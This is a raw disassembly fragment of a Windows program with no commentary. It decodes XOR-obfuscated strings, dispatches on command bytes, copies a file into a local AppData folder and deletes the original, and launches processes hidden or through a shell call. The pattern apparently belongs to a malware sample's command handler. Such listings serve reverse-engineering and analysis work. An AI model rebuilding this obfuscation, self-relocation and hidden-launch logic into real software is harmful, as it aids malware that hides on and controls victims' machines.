movzx eax, word [rsp + 0xa4]
mov rcx, qword [rsp + 0x1d8]
mov word [rcx], ax
jmp 0x1400121d0
mov eax, 6
imul rax, rax, 2
mov rcx, qword [rsp + 0xe0]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0x1e0], rax
xor eax, eax
mov rcx, qword [rsp + 0x1e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe0]
add rax, 2
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0x490]
call fcn.14001caf4
nop
lea rax, [rsp + 0x6a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x6a]
call fcn.140012900
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x110], 0
jmp 0x14001232d
mov rax, qword [rsp + 0x110]
inc rax
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0xc
jae 0x1400123aa
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x110]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd0]
movsx ecx, byte [rcx]
xor eax, ecx
mov word [rsp + 0xa0], ax
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x110]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x200], rax
movzx eax, word [rsp + 0xa0]
mov rcx, qword [rsp + 0x200]
mov word [rcx], ax
jmp 0x14001231a
mov eax, 0xc
imul rax, rax, 2
mov rcx, qword [rsp + 0xd0]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0x208], rax
xor eax, eax
mov rcx, qword [rsp + 0x208]
mov word [rcx], ax
mov rax, qword [rsp + 0xd0]
add rax, 2
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x238], rax
mov byte [rsp + 0x100], 0x56
lea rax, [rsp + 0x101]
lea rax, [rsp + 0x101]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x19
mov word [rsp + 0x102], ax
mov eax, 6
mov word [rsp + 0x104], ax
mov eax, 0x13
mov word [rsp + 0x106], ax
mov eax, 0x18
mov word [rsp + 0x108], ax
xor eax, eax
mov word [rsp + 0x10a], ax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0
jmp 0x14001249c
mov rax, qword [rsp + 0xc8]
inc rax
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 4
jae 0x140012519
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov word [rsp + 0xa2], ax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x220], rax
movzx eax, word [rsp + 0xa2]
mov rcx, qword [rsp + 0x220]
mov word [rcx], ax
jmp 0x140012489
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 0xc0]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0x228], rax
xor eax, eax
mov rcx, qword [rsp + 0x228]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0]
add rax, 2
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x248], rax
mov rcx, qword [rsp + 0x240]
mov qword [rsp + 0x250], rcx
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x490]
mov rcx, qword [rsp + 0x248]
mov r8, rcx
mov rcx, qword [rsp + 0x250]
mov rdx, rcx
mov rcx, rax
call qword [0x14003c3a0]
mov dword [rsp + 0x164], eax
mov eax, 1
jmp 0x140012848
movzx eax, byte [rsp + 0x2bc]
cmp eax, 0xd
jne 0x1400126b2
mov qword [rsp + 0x270], 0
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [0x14003c378]
lea r8, [0x140034884]
mov edx, 0x104
lea rcx, [rsp + 0x6a0]
call fcn.14001caf4
nop
mov edx, 5
lea rcx, [rsp + 0x370]
call fcn.14000ee60
lea r8, [rsp + 0x370]
mov edx, 0x104
lea rcx, [rsp + 0x6a0]
call fcn.14001caf4
nop
xor edx, edx
lea rcx, [rsp + 0x6a0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x490]
call fcn.140013730
lea rcx, [rsp + 0x6a0]
call fcn.140013ac0
lea rcx, [rsp + 0x490]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
jmp 0x140012848
movzx eax, byte [rsp + 0x2bc]
cmp eax, 8
jne 0x1400127b9
lea rax, [rsp + 0x300]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x300], 0x68
lea rax, [rsp + 0x2e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r8d, 4
mov edx, 0x23
lea rcx, [0x140038b70]
call fcn.14000d0e0
mov qword [rsp + 0x258], rax
mov r8, qword [rsp + 0x258]
mov edx, 0x200
lea rcx, [rsp + 0xcd0]
call fcn.14001caf4
nop
lea r8, [rsp + 0x490]
mov edx, 0x200
lea rcx, [rsp + 0xcd0]
call fcn.14001caf4
nop
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x300]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xcd0]
xor ecx, ecx
call qword [0x14003c380]
test eax, eax
jne 0x1400127aa
xor eax, eax
jmp 0x140012848
mov eax, 1
jmp 0x140012848
mov r8d, 4
mov edx, 0xd
lea rcx, [0x140038cb0]
call fcn.14000d0e0
mov qword [rsp + 0x260], rax
mov r8d, 4
mov edx, 5
lea rcx, [0x140038be0]
call fcn.14000d0e0
mov qword [rsp + 0x268], rax
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x490]
mov rcx, qword [rsp + 0x260]
mov r8, rcx
mov rcx, qword [rsp + 0x268]
mov rdx, rcx
mov rcx, rax
call qword [0x14003c3a0]
mov dword [rsp + 0x168], eax
mov eax, 1
jmp 0x140012848
mov rcx, qword [rsp + 0x10d0]
xor rcx, rsp
call fcn.1400160a0
add rsp, 0x10e0
pop rdi
ret